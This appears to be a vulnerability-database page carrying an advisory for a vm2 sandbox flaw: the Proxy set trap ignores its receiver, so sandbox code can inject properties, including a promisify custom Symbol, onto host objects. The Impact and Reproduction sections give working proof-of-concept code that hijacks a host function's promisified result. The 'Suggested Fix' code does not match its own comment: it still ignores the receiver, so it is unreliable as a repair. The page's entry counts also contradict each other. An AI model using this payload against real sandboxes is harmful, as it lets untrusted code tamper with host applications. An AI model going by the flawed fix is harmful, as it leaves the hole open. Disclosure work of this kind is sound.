High

vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

  • Disclosed: 29.05.2026
  • Updated: 11.10.2026 10:22

Summary

The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.

This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.

Vulnerable Code

js
// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Impact

Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:

js
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:

js
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

Reproduction

js
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

Suggested Fix

js
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vm2 < 3.11.4 3.11.4

References

CVSS score 8.6/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Weakness (CWE)
CWE-693
Platform
npm
Package
vm2
Disclosed
29.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-c4cf-2hgv-2qv6 - CC BY 4.0

Vulnerability history: vm2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (78) in the archive
Total entries
78
First → latest
10.2021 10.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 51
  • High 14
  • Medium 12
  • Low 1

Disclosures per year

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Severity:
  1. Critical · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Critical · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Critical · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Critical · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Critical · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Critical · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Critical · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Critical · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Critical · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Critical · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Critical · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Critical · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. High · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Critical · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Critical · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain this entry
    High · 8.6 CVE-2026-47209 < 3.11.4 3.11.4
  17. Critical · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Critical · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Critical · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Critical · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Critical · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Show more (20) Showing 40 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.